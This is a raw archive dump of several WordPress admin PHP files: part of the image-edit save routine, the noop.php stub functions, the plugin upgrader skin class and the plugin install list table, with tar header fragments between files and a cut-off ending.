	$meta         = wp_get_attachment_metadata( $post_id );
	$backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true );

	if ( ! is_array( $meta ) ) {
		$return->error = esc_js( __( 'Image data does not exist. Please re-upload the image.' ) );
		return $return;
	}

	if ( ! is_array( $backup_sizes ) ) {
		$backup_sizes = array();
	}

	// Generate new filename.
	$path = get_attached_file( $post_id );

	$basename = pathinfo( $path, PATHINFO_BASENAME );
	$dirname  = pathinfo( $path, PATHINFO_DIRNAME );
	$ext      = pathinfo( $path, PATHINFO_EXTENSION );
	$filename = pathinfo( $path, PATHINFO_FILENAME );
	$suffix   = time() . rand( 100, 999 );

	if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE
		&& isset( $backup_sizes['full-orig'] ) && $backup_sizes['full-orig']['file'] !== $basename
	) {

		if ( $edit_thumbnails_separately && 'thumbnail' === $target ) {
			$new_path = "{$dirname}/{$filename}-temp.{$ext}";
		} else {
			$new_path = $path;
		}
	} else {
		while ( true ) {
			$filename     = preg_replace( '/-e([0-9]+)$/', '', $filename );
			$filename    .= "-e{$suffix}";
			$new_filename = "{$filename}.{$ext}";
			$new_path     = "{$dirname}/$new_filename";

			if ( file_exists( $new_path ) ) {
				++$suffix;
			} else {
				break;
			}
		}
	}

	// Save the full-size file, also needed to create sub-sizes.
	if ( ! wp_save_image_file( $new_path, $img, $post->post_mime_type, $post_id ) ) {
		$return->error = esc_js( __( 'Unable to save the image.' ) );
		return $return;
	}

	if ( 'nothumb' === $target || 'all' === $target || 'full' === $target || $scaled ) {
		$tag = false;

		if ( isset( $backup_sizes['full-orig'] ) ) {
			if ( ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE )
				&& $backup_sizes['full-orig']['file'] !== $basename
			) {
				$tag = "full-$suffix";
			}
		} else {
			$tag = 'full-orig';
		}

		if ( $tag ) {
			$backup_sizes[ $tag ] = array(
				'width'  => $meta['width'],
				'height' => $meta['height'],
				'file'   => $basename,
			);
		}

		$success = ( $path === $new_path ) || update_attached_file( $post_id, $new_path );

		$meta['file'] = _wp_relative_upload_path( $new_path );

		$size           = $img->get_size();
		$meta['width']  = $size['width'];
		$meta['height'] = $size['height'];

		if ( $success && ( 'nothumb' === $target || 'all' === $target ) ) {
			$sizes = get_intermediate_image_sizes();

			if ( $edit_thumbnails_separately && 'nothumb' === $target ) {
				$sizes = array_diff( $sizes, array( 'thumbnail' ) );
			}
		}

		$return->fw = $meta['width'];
		$return->fh = $meta['height'];
	} elseif ( $edit_thumbnails_separately && 'thumbnail' === $target ) {
		$sizes   = array( 'thumbnail' );
		$success = true;
		$delete  = true;
		$nocrop  = true;
	}

	/*
	 * We need to remove any existing resized image files because
	 * a new crop or rotate could generate different sizes (and hence, filenames),
	 * keeping the new resized images from overwriting the existing image files.
	 * https://core.trac.wordpress.org/ticket/32171
	 */
	if ( defined( 'IMAGE_EDIT_OVERWRITE' ) && IMAGE_EDIT_OVERWRITE && ! empty( $meta['sizes'] ) ) {
		foreach ( $meta['sizes'] as $size ) {
			if ( ! empty( $size['file'] ) && preg_match( '/-e[0-9]{13}-/', $size['file'] ) ) {
				$delete_file = path_join( $dirname, $size['file'] );
				wp_delete_file( $delete_file );
			}
		}
	}

	if ( isset( $sizes ) ) {
		$_sizes = array();

		foreach ( $sizes as $size ) {
			$tag = false;

			if ( isset( $meta['sizes'][ $size ] ) ) {
				if ( isset( $backup_sizes[ "$size-orig" ] ) ) {
					if ( ( ! defined( 'IMAGE_EDIT_OVERWRITE' ) || ! IMAGE_EDIT_OVERWRITE )
						&& $backup_sizes[ "$size-orig" ]['file'] !== $meta['sizes'][ $size ]['file']
					) {
						$tag = "$size-$suffix";
					}
				} else {
					$tag = "$size-orig";
				}

				if ( $tag ) {
					$backup_sizes[ $tag ] = $meta['sizes'][ $size ];
				}
			}

			if ( isset( $_wp_additional_image_sizes[ $size ] ) ) {
				$width  = (int) $_wp_additional_image_sizes[ $size ]['width'];
				$height = (int) $_wp_additional_image_sizes[ $size ]['height'];
				$crop   = ( $nocrop ) ? false : $_wp_additional_image_sizes[ $size ]['crop'];
			} else {
				$height = get_option( "{$size}_size_h" );
				$width  = get_option( "{$size}_size_w" );
				$crop   = ( $nocrop ) ? false : get_option( "{$size}_crop" );
			}

			$_sizes[ $size ] = array(
				'width'  => $width,
				'height' => $height,
				'crop'   => $crop,
			);
		}

		$meta['sizes'] = array_merge( $meta['sizes'], $img->multi_resize( $_sizes ) );
	}

	unset( $img );

	if ( $success ) {
		wp_update_attachment_metadata( $post_id, $meta );
		update_post_meta( $post_id, '_wp_attachment_backup_sizes', $backup_sizes );

		if ( 'thumbnail' === $target || 'all' === $target || 'full' === $target ) {
			// Check if it's an image edit from attachment edit screen.
			if ( ! empty( $_REQUEST['context'] ) && 'edit-attachment' === $_REQUEST['context'] ) {
				$thumb_url = wp_get_attachment_image_src( $post_id, array( 900, 600 ), true );

				$return->thumbnail = $thumb_url[0];
			} else {
				$file_url = wp_get_attachment_url( $post_id );

				if ( ! empty( $meta['sizes']['thumbnail'] ) ) {
					$thumb             = $meta['sizes']['thumbnail'];
					$return->thumbnail = path_join( dirname( $file_url ), $thumb['file'] );
				} else {
					$return->thumbnail = "$file_url?w=128&h=128";
				}
			}
		}
	} else {
		$delete = true;
	}

	if ( $delete ) {
		wp_delete_file( $new_path );
	}

	$return->msg = esc_js( __( 'Image saved' ) );

	return $return;
}
noop.php000064400000002174150275632050006241 0ustar00<?php
/**
 * Noop functions for load-scripts.php and load-styles.php.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * @ignore
 */
function __() {}

/**
 * @ignore
 */
function _x() {}

/**
 * @ignore
 */
function add_filter() {}

/**
 * @ignore
 */
function has_filter() {
	return false;
}

/**
 * @ignore
 */
function esc_attr() {}

/**
 * @ignore
 */
function apply_filters() {}

/**
 * @ignore
 */
function get_option() {}

/**
 * @ignore
 */
function is_lighttpd_before_150() {}

/**
 * @ignore
 */
function add_action() {}

/**
 * @ignore
 */
function did_action() {}

/**
 * @ignore
 */
function do_action_ref_array() {}

/**
 * @ignore
 */
function get_bloginfo() {}

/**
 * @ignore
 */
function is_admin() {
	return true;
}

/**
 * @ignore
 */
function site_url() {}

/**
 * @ignore
 */
function admin_url() {}

/**
 * @ignore
 */
function home_url() {}

/**
 * @ignore
 */
function includes_url() {}

/**
 * @ignore
 */
function wp_guess_url() {}

function get_file( $path ) {

	$path = realpath( $path );

	if ( ! $path || ! @is_file( $path ) ) {
		return '';
	}

	return @file_get_contents( $path );
}
class-plugin-upgrader-skin.php000064400000006316150275632050012442 0ustar00<?php
/**
 * Upgrader API: Plugin_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Plugin Upgrader Skin for WordPress Plugin Upgrades.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Plugin_Upgrader_Skin extends WP_Upgrader_Skin {

	/**
	 * Holds the plugin slug in the Plugin Directory.
	 *
	 * @since 2.8.0
	 *
	 * @var string
	 */
	public $plugin = '';

	/**
	 * Whether the plugin is active.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $plugin_active = false;

	/**
	 * Whether the plugin is active for the entire network.
	 *
	 * @since 2.8.0
	 *
	 * @var bool
	 */
	public $plugin_network_active = false;

	/**
	 * Constructor.
	 *
	 * Sets up the plugin upgrader skin.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args Optional. The plugin upgrader skin arguments to
	 *                    override default options. Default empty array.
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'    => '',
			'plugin' => '',
			'nonce'  => '',
			'title'  => __( 'Update Plugin' ),
		);
		$args     = wp_parse_args( $args, $defaults );

		$this->plugin = $args['plugin'];

		$this->plugin_active         = is_plugin_active( $this->plugin );
		$this->plugin_network_active = is_plugin_active_for_network( $this->plugin );

		parent::__construct( $args );
	}

	/**
	 * Performs an action following a single plugin update.
	 *
	 * @since 2.8.0
	 */
	public function after() {
		$this->plugin = $this->upgrader->plugin_info();
		if ( ! empty( $this->plugin ) && ! is_wp_error( $this->result ) && $this->plugin_active ) {
			// Currently used only when JS is off for a single plugin update?
			printf(
				'<iframe title="%s" style="border:0;overflow:hidden" width="100%%" height="170" src="%s"></iframe>',
				esc_attr__( 'Update progress' ),
				wp_nonce_url( 'update.php?action=activate-plugin&networkwide=' . $this->plugin_network_active . '&plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin )
			);
		}

		$this->decrement_update_count( 'plugin' );

		$update_actions = array(
			'activate_plugin' => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $this->plugin ), 'activate-plugin_' . $this->plugin ),
				__( 'Activate Plugin' )
			),
			'plugins_page'    => sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'plugins.php' ),
				__( 'Go to Plugins page' )
			),
		);

		if ( $this->plugin_active || ! $this->result || is_wp_error( $this->result ) || ! current_user_can( 'activate_plugin', $this->plugin ) ) {
			unset( $update_actions['activate_plugin'] );
		}

		/**
		 * Filters the list of action links available following a single plugin update.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $update_actions Array of plugin action links.
		 * @param string   $plugin         Path to the plugin file relative to the plugins directory.
		 */
		$update_actions = apply_filters( 'update_plugin_complete_actions', $update_actions, $this->plugin );

		if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
class-wp-plugin-install-list-table.php.tar000064400000064000150275632050014576 0ustar00home/natitnen/crestassured.com/wp-admin/includes/class-wp-plugin-install-list-table.php000064400000060635150273755430025407 0ustar00<?php
/**
 * List Table API: WP_Plugin_Install_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying plugins to install in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Plugin_Install_List_Table extends WP_List_Table {

	public $order   = 'ASC';
	public $orderby = null;
	public $groups  = array();

	private $error;

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'install_plugins' );
	}

	/**
	 * Returns the list of known plugins.
	 *
	 * Uses the transient data from the updates API to determine the known
	 * installed plugins.
	 *
	 * @since 4.9.0
	 * @access protected
	 *
	 * @return array
	 */
	protected function get_installed_plugins() {
		$plugins = array();

		$plugin_info = get_site_transient( 'update_plugins' );
		if ( isset( $plugin_info->no_update ) ) {
			foreach ( $plugin_info->no_update as $plugin ) {
				if ( isset( $plugin->slug ) ) {
					$plugin->upgrade          = false;
					$plugins[ $plugin->slug ] = $plugin;
				}
			}
		}

		if ( isset( $plugin_info->response ) ) {
			foreach ( $plugin_info->response as $plugin ) {
				if ( isset( $plugin->slug ) ) {
					$plugin->upgrade          = true;
					$plugins[ $plugin->slug ] = $plugin;
				}
			}
		}

		return $plugins;
	}

	/**
	 * Returns a list of slugs of installed plugins, if known.
	 *
	 * Uses the transient data from the updates API to determine the slugs of
	 * known installed plugins. This might be better elsewhere, perhaps even
	 * within get_plugins().
	 *
	 * @since 4.0.0
	 *
	 * @return array
	 */
	protected function get_installed_plugin_slugs() {
		return array_keys( $this->get_installed_plugins() );
	}

	/**
	 * @global array  $tabs
	 * @global string $tab
	 * @global int    $paged
	 * @global string $type
	 * @global string $term
	 */
	public function prepare_items() {
		require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

		global $tabs, $tab, $paged, $type, $term;

		wp_reset_vars( array( 'tab' ) );

		$paged = $this->get_pagenum();

		$per_page = 36;

		// These are the tabs which are shown on the page.
		$tabs = array();

		if ( 'search' === $tab ) {
			$tabs['search'] = __( 'Search Results' );
		}

		if ( 'beta' === $tab || str_contains( get_bloginfo( 'version' ), '-' ) ) {
			$tabs['beta'] = _x( 'Beta Testing', 'Plugin Installer' );
		}

		$tabs['featured']    = _x( 'Featured', 'Plugin Installer' );
		$tabs['popular']     = _x( 'Popular', 'Plugin Installer' );
		$tabs['recommended'] = _x( 'Recommended', 'Plugin Installer' );
		$tabs['favorites']   = _x( 'Favorites', 'Plugin Installer' );

		if ( current_user_can( 'upload_plugins' ) ) {
			/*
			 * No longer a real tab. Here for filter compatibility.
			 * Gets skipped in get_views().
			 */
			$tabs['upload'] = __( 'Upload Plugin' );
		}

		$nonmenu_tabs = array( 'plugin-information' ); // Valid actions to perform which do not have a Menu item.

		/**
		 * Filters the tabs shown on the Add Plugins screen.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $tabs The tabs shown on the Add Plugins screen. Defaults include
		 *                       'featured', 'popular', 'recommended', 'favorites', and 'upload'.
		 */
		$tabs = apply_filters( 'install_plugins_tabs', $tabs );

		/**
		 * Filters tabs not associated with a menu item on the Add Plugins screen.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $nonmenu_tabs The tabs that don't have a menu item on the Add Plugins screen.
		 */
		$nonmenu_tabs = apply_filters( 'install_plugins_nonmenu_tabs', $nonmenu_tabs );

		// If a non-valid menu tab has been selected, And it's not a non-menu action.
		if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs, true ) ) ) {
			$tab = key( $tabs );
		}

		$installed_plugins = $this->get_installed_plugins();

		$args = array(
			'page'     => $paged,
			'per_page' => $per_page,
			// Send the locale to the API so it can provide context-sensitive results.
			'locale'   => get_user_locale(),
		);

		switch ( $tab ) {
			case 'search':
				$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
				$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';

				switch ( $type ) {
					case 'tag':
						$args['tag'] = sanitize_title_with_dashes( $term );
						break;
					case 'term':
						$args['search'] = $term;
						break;
					case 'author':
						$args['author'] = $term;
						break;
				}

				break;

			case 'featured':
			case 'popular':
			case 'new':
			case 'beta':
				$args['browse'] = $tab;
				break;
			case 'recommended':
				$args['browse'] = $tab;
				// Include the list of installed plugins so we can get relevant results.
				$args['installed_plugins'] = array_keys( $installed_plugins );
				break;

			case 'favorites':
				$action = 'save_wporg_username_' . get_current_user_id();
				if ( isset( $_GET['_wpnonce'] ) && wp_verify_nonce( wp_unslash( $_GET['_wpnonce'] ), $action ) ) {
					$user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' );

					// If the save url parameter is passed with a falsey value, don't save the favorite user.
					if ( ! isset( $_GET['save'] ) || $_GET['save'] ) {
						update_user_meta( get_current_user_id(), 'wporg_favorites', $user );
					}
				} else {
					$user = get_user_option( 'wporg_favorites' );
				}
				if ( $user ) {
					$args['user'] = $user;
				} else {
					$args = false;
				}

				add_action( 'install_plugins_favorites', 'install_plugins_favorites_form', 9, 0 );
				break;

			default:
				$args = false;
				break;
		}

		/**
		 * Filters API request arguments for each Add Plugins screen tab.
		 *
		 * The dynamic portion of the hook name, `$tab`, refers to the plugin install tabs.
		 *
		 * Possible hook names include:
		 *
		 *  - `install_plugins_table_api_args_favorites`
		 *  - `install_plugins_table_api_args_featured`
		 *  - `install_plugins_table_api_args_popular`
		 *  - `install_plugins_table_api_args_recommended`
		 *  - `install_plugins_table_api_args_upload`
		 *  - `install_plugins_table_api_args_search`
		 *  - `install_plugins_table_api_args_beta`
		 *
		 * @since 3.7.0
		 *
		 * @param array|false $args Plugin install API arguments.
		 */
		$args = apply_filters( "install_plugins_table_api_args_{$tab}", $args );

		if ( ! $args ) {
			return;
		}

		$api = plugins_api( 'query_plugins', $args );

		if ( is_wp_error( $api ) ) {
			$this->error = $api;
			return;
		}

		$this->items = $api->plugins;

		if ( $this->orderby ) {
			uasort( $this->items, array( $this, 'order_callback' ) );
		}

		$this->set_pagination_args(
			array(
				'total_items' => $api->info['results'],
				'per_page'    => $args['per_page'],
			)
		);

		if ( isset( $api->info['groups'] ) ) {
			$this->groups = $api->info['groups'];
		}

		if ( $installed_plugins ) {
			$js_plugins = array_fill_keys(
				array( 'all', 'search', 'active', 'inactive', 'recently_activated', 'mustuse', 'dropins' ),
				array()
			);

			$js_plugins['all'] = array_values( wp_list_pluck( $installed_plugins, 'plugin' ) );
			$upgrade_plugins   = wp_filter_object_list( $installed_plugins, array( 'upgrade' => true ), 'and', 'plugin' );

			if ( $upgrade_plugins ) {
				$js_plugins['upgrade'] = array_values( $upgrade_plugins );
			}

			wp_localize_script(
				'updates',
				'_wpUpdatesItemCounts',
				array(
					'plugins' => $js_plugins,
					'totals'  => wp_get_update_data(),
				)
			);
		}
	}

	/**
	 */
	public function no_items() {
		if ( isset( $this->error ) ) {
			$error_message  = '<p>' . $this->error->get_error_message() . '</p>';
			$error_message .= '<p class="hide-if-no-js"><button class="button try-again">' . __( 'Try Again' ) . '</button></p>';
			wp_admin_notice(
				$error_message,
				array(
					'additional_classes' => array( 'inline', 'error' ),
					'paragraph_wrap'     => false,
				)
			);
			?>
		<?php } else { ?>
			<div class="no-plugin-results"><?php _e( 'No plugins found. Try a different search.' ); ?></div>
			<?php
		}
	}

	/**
	 * @global array $tabs
	 * @global string $tab
	 *
	 * @return array
	 */
	protected function get_views() {
		global $tabs, $tab;

		$display_tabs = array();
		foreach ( (array) $tabs as $action => $text ) {
			$display_tabs[ 'plugin-install-' . $action ] = array(
				'url'     => self_admin_url( 'plugin-install.php?tab=' . $action ),
				'label'   => $text,
				'current' => $action === $tab,
			);
		}
		// No longer a real tab.
		unset( $display_tabs['plugin-install-upload'] );

		return $this->get_views_links( $display_tabs );
	}

	/**
	 * Overrides parent views so we can use the filter bar display.
	 */
	public function views() {
		$views = $this->get_views();

		/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
		$views = apply_filters( "views_{$this->screen->id}", $views );

		$this->screen->render_screen_reader_content( 'heading_views' );
		?>
<div class="wp-filter">
	<ul class="filter-links">
		<?php
		if ( ! empty( $views ) ) {
			foreach ( $views as $class => $view ) {
				$views[ $class ] = "\t<li class='$class'>$view";
			}
			echo implode( " </li>\n", $views ) . "</li>\n";
		}
		?>
	</ul>

		<?php install_search_form(); ?>
</div>
		<?php
	}

	/**
	 * Displays the plugin install table.
	 *
	 * Overrides the parent display() method to provide a different container.
	 *
	 * @since 4.0.0
	 */
	public function display() {
		$singular = $this->_args['singular'];

		$data_attr = '';

		if ( $singular ) {
			$data_attr = " data-wp-lists='list:$singular'";
		}

		$this->display_tablenav( 'top' );

		?>
<div class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
		<?php
		$this->screen->render_screen_reader_content( 'heading_list' );
		?>
	<div id="the-list"<?php echo $data_attr; ?>>
		<?php $this->display_rows_or_placeholder(); ?>
	</div>
</div>
		<?php
		$this->display_tablenav( 'bottom' );
	}

	/**
	 * @global string $tab
	 *
	 * @param string $which
	 */
	protected function display_tablenav( $which ) {
		if ( 'featured' === $GLOBALS['tab'] ) {
			return;
		}

		if ( 'top' === $which ) {
			wp_referer_field();
			?>
			<div class="tablenav top">
				<div class="alignleft actions">
					<?php
					/**
					 * Fires before the Plugin Install table header pagination is displayed.
					 *
					 * @since 2.7.0
					 */
					do_action( 'install_plugins_table_header' );
					?>
				</div>
				<?php $this->pagination( $which ); ?>
				<br class="clear" />
			</div>
		<?php } else { ?>
			<div class="tablenav bottom">
				<?php $this->pagination( $which ); ?>
				<br class="clear" />
			</div>
			<?php
		}
	}

	/**
	 * @return array
	 */
	protected function get_table_classes() {
		return array( 'widefat', $this->_args['plural'] );
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		return array();
	}

	/**
	 * @param object $plugin_a
	 * @param object $plugin_b
	 * @return int
	 */
	private function order_callback( $plugin_a, $plugin_b ) {
		$orderby = $this->orderby;
		if ( ! isset( $plugin_a->$orderby, $plugin_b->$orderby ) ) {
			return 0;
		}

		$a = $plugin_a->$orderby;
		$b = $plugin_b->$orderby;

		if ( $a === $b ) {
			return 0;
		}

		if ( 'DESC' === $this->order ) {
			return ( $a < $b ) ? 1 : -1;
		} else {
			return ( $a < $b ) ? -1 : 1;
		}
	}

	public function display_rows() {
		$plugins_allowedtags = array(
			'a'       => array(
				'href'   => array(),
				'title'  => array(),
				'target' => array(),
			),
			'abbr'    => array( 'title' => array() ),
			'acronym' => array( 'title' => array() ),
			'code'    => array(),
			'pre'     => array(),
			'em'      => array(),
			'strong'  => array(),
			'ul'      => array(),
			'ol'      => array(),
			'li'      => array(),
			'p'       => array(),
			'br'      => array(),
		);

		$plugins_group_titles = array(
			'Performance' => _x( 'Performance', 'Plugin installer group title' ),
			'Social'      => _x( 'Social', 'Plugin installer group title' ),
			'Tools'       => _x( 'Tools', 'Plugin installer group title' ),
		);

		$group = null;

		foreach ( (array) $this->items as $plugin ) {
			if ( is_object( $plugin ) ) {
				$plugin = (array) $plugin;
			}

			// Display the group heading if there is one.
			if ( isset( $plugin['group'] ) && $plugin['group'] !== $group ) {
				if ( isset( $this->groups[ $plugin['group'] ] ) ) {
					$group_name = $this->groups[ $plugin['group'] ];
					if ( isset( $plugins_group_titles[ $group_name ] ) ) {
						$group_name = $plugins_group_titles[ $group_name ];
					}
				} else {
					$group_name = $plugin['group'];
				}

				// Starting a new group, close off the divs of the last one.
				if ( ! empty( $group ) ) {
					echo '</div></div>';
				}

				echo '<div class="plugin-group"><h3>' . esc_html( $group_name ) . '</h3>';
				// Needs an extra wrapping div for nth-child selectors to work.
				echo '<div class="plugin-items">';

				$group = $plugin['group'];
			}

			$title = wp_kses( $plugin['name'], $plugins_allowedtags );

			// Remove any HTML from the description.
			$description = strip_tags( $plugin['short_description'] );

			/**
			 * Filters the plugin card description on the Add Plugins screen.
			 *
			 * @since 6.0.0
			 *
			 * @param string $description Plugin card description.
			 * @param array  $plugin      An array of plugin data. See {@see plugins_api()}
			 *                            for the list of possible values.
			 */
			$description = apply_filters( 'plugin_install_description', $description, $plugin );

			$version = wp_kses( $plugin['version'], $plugins_allowedtags );

			$name = strip_tags( $title . ' ' . $version );

			$author = wp_kses( $plugin['author'], $plugins_allowedtags );
			if ( ! empty( $author ) ) {
				/* translators: %s: Plugin author. */
				$author = ' <cite>' . sprintf( __( 'By %s' ), $author ) . '</cite>';
			}

			$requires_php = isset( $plugin['requires_php'] ) ? $plugin['requires_php'] : null;
			$requires_wp  = isset( $plugin['requires'] ) ? $plugin['requires'] : null;

			$compatible_php = is_php_version_compatible( $requires_php );
			$compatible_wp  = is_wp_version_compatible( $requires_wp );
			$tested_wp      = ( empty( $plugin['tested'] ) || version_compare( get_bloginfo( 'version' ), $plugin['tested'], '<=' ) );

			$action_links = array();

			if ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) {
				$status = install_plugin_install_status( $plugin );

				switch ( $status['status'] ) {
					case 'install':
						if ( $status['url'] ) {
							if ( $compatible_php && $compatible_wp ) {
								$action_links[] = sprintf(
									'<a class="install-now button" data-slug="%s" href="%s" aria-label="%s" data-name="%s">%s</a>',
									esc_attr( $plugin['slug'] ),
									esc_url( $status['url'] ),
									/* translators: %s: Plugin name and version. */
									esc_attr( sprintf( _x( 'Install %s now', 'plugin' ), $name ) ),
									esc_attr( $name ),
									__( 'Install Now' )
								);
							} else {
								$action_links[] = sprintf(
									'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
									_x( 'Cannot Install', 'plugin' )
								);
							}
						}
						break;

					case 'update_available':
						if ( $status['url'] ) {
							if ( $compatible_php && $compatible_wp ) {
								$action_links[] = sprintf(
									'<a class="update-now button aria-button-if-js" data-plugin="%s" data-slug="%s" href="%s" aria-label="%s" data-name="%s">%s</a>',
									esc_attr( $status['file'] ),
									esc_attr( $plugin['slug'] ),
									esc_url( $status['url'] ),
									/* translators: %s: Plugin name and version. */
									esc_attr( sprintf( _x( 'Update %s now', 'plugin' ), $name ) ),
									esc_attr( $name ),
									__( 'Update Now' )
								);
							} else {
								$action_links[] = sprintf(
									'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
									_x( 'Cannot Update', 'plugin' )
								);
							}
						}
						break;

					case 'latest_installed':
					case 'newer_installed':
						if ( is_plugin_active( $status['file'] ) ) {
							$action_links[] = sprintf(
								'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
								_x( 'Active', 'plugin' )
							);
						} elseif ( current_user_can( 'activate_plugin', $status['file'] ) ) {
							if ( $compatible_php && $compatible_wp ) {
								$button_text = __( 'Activate' );
								/* translators: %s: Plugin name. */
								$button_label = _x( 'Activate %s', 'plugin' );
								$activate_url = add_query_arg(
									array(
										'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $status['file'] ),
										'action'   => 'activate',
										'plugin'   => $status['file'],
									),
									network_admin_url( 'plugins.php' )
								);

								if ( is_network_admin() ) {
									$button_text = __( 'Network Activate' );
									/* translators: %s: Plugin name. */
									$button_label = _x( 'Network Activate %s', 'plugin' );
									$activate_url = add_query_arg( array( 'networkwide' => 1 ), $activate_url );
								}

								$action_links[] = sprintf(
									'<a href="%1$s" class="button activate-now" aria-label="%2$s">%3$s</a>',
									esc_url( $activate_url ),
									esc_attr( sprintf( $button_label, $plugin['name'] ) ),
									$button_text
								);
							} else {
								$action_links[] = sprintf(
									'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
									_x( 'Cannot Activate', 'plugin' )
								);
							}
						} else {
							$action_links[] = sprintf(
								'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
								_x( 'Installed', 'plugin' )
							);
						}
						break;
				}
			}

			$details_link = self_admin_url(
				'plugin-install.php?tab=plugin-information&amp;plugin=' . $plugin['slug'] .
				'&amp;TB_iframe=true&amp;width=600&amp;height=550'
			);

			$action_links[] = sprintf(
				'<a href="%s" class="thickbox open-plugin-details-modal" aria-label="%s" data-title="%s">%s</a>',
				esc_url( $details_link ),
				/* translators: %s: Plugin name and version. */
				esc_attr( sprintf( __( 'More information about %s' ), $name ) ),
				esc_attr( $name ),
				__( 'More Details' )
			);

			if ( ! empty( $plugin['icons']['svg'] ) ) {
				$plugin_icon_url = $plugin['icons']['svg'];
			} elseif ( ! empty( $plugin['icons']['2x'] ) ) {
				$plugin_icon_url = $plugin['icons']['2x'];
			} elseif ( ! empty( $plugin['icons']['1x'] ) ) {
				$plugin_icon_url = $plugin['icons']['1x'];
			} else {
				$plugin_icon_url = $plugin['icons']['default'];
			}

			/**
			 * Filters the install action links for a plugin.
			 *
			 * @since 2.7.0
			 *
			 * @param string[] $action_links An array of plugin action links.
			 *                               Defaults are links to Details and Install Now.
			 * @param array    $plugin       An array of plugin data. See {@see plugins_api()}
			 *                               for the list of possible values.
			 */
			$action_links = apply_filters( 'plugin_install_action_links', $action_links, $plugin );

			$last_updated_timestamp = strtotime( $plugin['last_updated'] );
			?>
		<div class="plugin-card plugin-card-<?php echo sanitize_html_class( $plugin['slug'] ); ?>">
			<?php
			if ( ! $compatible_php || ! $compatible_wp ) {
				$incompatible_notice_message = '';
				if ( ! $compatible_php && ! $compatible_wp ) {
					$incompatible_notice_message .= __( 'This plugin does not work with your versions of WordPress and PHP.' );
					if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
							' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
							self_admin_url( 'update-core.php' ),
							esc_url( wp_get_update_php_url() )
						);
						$incompatible_notice_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
					} elseif ( current_user_can( 'update_core' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: %s: URL to WordPress Updates screen. */
							' ' . __( '<a href="%s">Please update WordPress</a>.' ),
							self_admin_url( 'update-core.php' )
						);
					} elseif ( current_user_can( 'update_php' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: %s: URL to Update PHP page. */
							' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
							esc_url( wp_get_update_php_url() )
						);
						$incompatible_notice_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
					}
				} elseif ( ! $compatible_wp ) {
					$incompatible_notice_message .= __( 'This plugin does not work with your version of WordPress.' );
					if ( current_user_can( 'update_core' ) ) {
						$incompatible_notice_message .= printf(
							/* translators: %s: URL to WordPress Updates screen. */
							' ' . __( '<a href="%s">Please update WordPress</a>.' ),
							self_admin_url( 'update-core.php' )
						);
					}
				} elseif ( ! $compatible_php ) {
					$incompatible_notice_message .= __( 'This plugin does not work with your version of PHP.' );
					if ( current_user_can( 'update_php' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: %s: URL to Update PHP page. */
							' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
							esc_url( wp_get_update_php_url() )
						);
						$incompatible_notice_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
					}
				}

				wp_admin_notice(
					$incompatible_notice_message,
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'inline' ),
					)
				);
			}
			?>
			<div class="plugin-card-top">
				<div class="name column-name">
					<h3>
						<a href="<?php echo esc_url( $details_link ); ?>" class="thickbox open-plugin-details-modal">
						<?php echo $title; ?>
						<img src="<?php echo esc_url( $plugin_icon_url ); ?>" class="plugin-icon" alt="" />
						</a>
					</h3>
				</div>
				<div class="action-links">
					<?php
					if ( $action_links ) {
						echo '<ul class="plugin-action-buttons"><li>' . implode( '</li><li>', $action_links ) . '</li></ul>';
					}
					?>
				</div>
				<div class="desc column-description">
